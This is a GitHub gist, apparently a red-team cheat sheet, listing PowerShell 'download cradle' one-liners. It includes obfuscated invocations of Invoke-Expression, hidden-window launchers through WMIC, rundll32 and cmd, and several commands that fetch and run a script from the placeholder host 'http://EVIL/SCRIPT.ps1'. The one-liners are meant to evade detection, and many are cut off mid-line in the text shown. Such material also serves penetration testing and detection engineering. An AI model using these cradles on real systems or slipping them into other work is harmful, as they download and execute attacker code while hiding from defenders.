

Instantly share code, notes, and snippets.



mgeeky / Download-Cradles-Oneliners.md

Last active 9 months ago

☆ Star 13

🔗 Fork 12

<> Code

🔄 Revisions 7

☆ Stars 13

🔗 Forks 12

Embed ▾

<script s



Download ZIP

Various Powershell Download Cradles purposed as one-liners

<> Download-Cradles-Oneliners.md

Raw

## Download Cradles

### 0) Extra goodies

- Obfuscated `FromBase64String` with `-bxor` nice for dynamic strings deobfuscation:

```
$t=([type]('{1}{0}'-f'vert','Con'));$t::(($t.GetMethods()|?{$_.Name-clip'F*g'}).Name).
```

- The same as above but for UTF-16 base64 encoded strings:

```
$t=([type]('{1}{0}'-f'vert','Con'));-join[char[]]([uint16[]]$t::(($t.GetMethods()|?{$_.N
```

### A) Powershell Code Execution primitives

Phrase `(Function).Invoke()` may be rephrased as: `&(Function)`

#### 1. *Scriptblock*:

```
[scriptblock]::Create('Get-Service').Invoke()
```

#### 2. PS1.0 Invoke

```
$ExecutionContext.((($ExecutionContext|Get-Member)[6].Name).((($ExecutionContext.((($Execut
```

### 3. Get-Alias:

```
&(DIR Alias:/I*X)'Get-Service'
```

### 4. Get-Command:

```
&(GCM I*e-E*)
```

### 5. Powershell Runspace

```
[PowerShell]::Create().((([PowerShell]::Create()|Member)[5].Name).Invoke('Get-Service')).I
```

### 6. Concatenated IEX:

```
&(''.SubString.ToString()[67,72,64]-Join'')'Get-Service'
```

### 7. Invoke-AsWorkflow (PS3.0+)

```
Invoke-AsWorkflow -Ex ('Get-Service')
```

## B) Powershell Payload Download primitives

### 1. Invoke-RestMethod (PS3.0+)

```
('http://EVIL/SCRIPT.ps1'|%{(IRM $_)})
```

### 2. Obfuscated `Net.WebClient.DownloadString` :

```
$w=(New-Object Net.WebClient);$w((((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Na
```

### 3. Net.WebRequest:

```
[IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIPT.ps1').GetResponse()).
```

4. Msxml2.XMLHTTP COM object:

```
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);
```

## C) Operating-System Launcher primitives

1. WMIC:

```
WMIC "pROCESS" cALL crEATE "PoWErSheLL -WiNdoWstYle HIddEn -NonINTERA Get-Servi
```

2. Rundll32 SHELL32.DLL,ShellExec\_RunDLL

```
RuNDLL32.exe SHELL32,ShellExec_RunDLL "POWErsHeLL" "-w 1" " -NonInter " "-CO " "
```

3. Cmd + set VAR && Powershell iex VAR

```
cmd /c"set sqm=Get-Service&&PowErSHeLL -WinDowStY hIDDeN -NonInTERActi -coMmand .
```

4. Cmd + Echo | Powershell - (stdin)

```
CmD.exe /c" Echo/Get-Service | PoWErsheLL -nOninT -WindOw hiDDe -ComM (gcI 'vARia
```

5. Cmd + Echo | Clip && Powershell iex clipboard

```
cmd /C" ECHO/Get-Service|cLIP&& POWErsHELL -Windo hIDd -NONINTe -St -ComMaN .
```

## D) Combined Download Cradles

1. PowerShell 3.0+

```
IEX (iwr 'http://EVIL/SCRIPT.ps1')
```

## 2. Normal download cradle

```
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/SCRIPT.ps1")
```

### 3. Download Cradle combining *ScriptBlock* + Invoke-RestMethod

```
[scriptblock]::Create(('http://EVIL/SCRIPT.ps1' | %{(IRM $_)})).Invoke()
```

#### 4. Msxml2.XMLHTTP COM object with Scriptblock:

```
$c=New-Object -ComObject MsXml2.ServerXmlHttp;$c.Open('GET','http://EVIL/SCRIPT.ps1',0);
```

### 5. Minimized `Net.WebRequest` combined with *ScriptBlock* execution:

```
[scriptblock]::Create([IO.StreamReader]::new([Net.WebRequest]::Create('http://EVIL/SCRIP
```

## 6. A bit obfuscated `Net.WebClient.DownloadString` with Get-Alias IEX variant:

```
$w=(New-Object Net.WebClient);$w.((((($w).PsObject.Methods)|?{(Item Variable:\_).Value.Na
```

## 7. Obfuscated `Net.HttpWebRequest` with `_Get-Command IEX`:`

```
$h=[tYpE]({'1'}{'2'}{'0'}'-f('pWebRe'+ 'quest'),'Ne','t.Http');$v((((gET-vAriABLE h).vAlue::Cr
```

Sign up for free to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

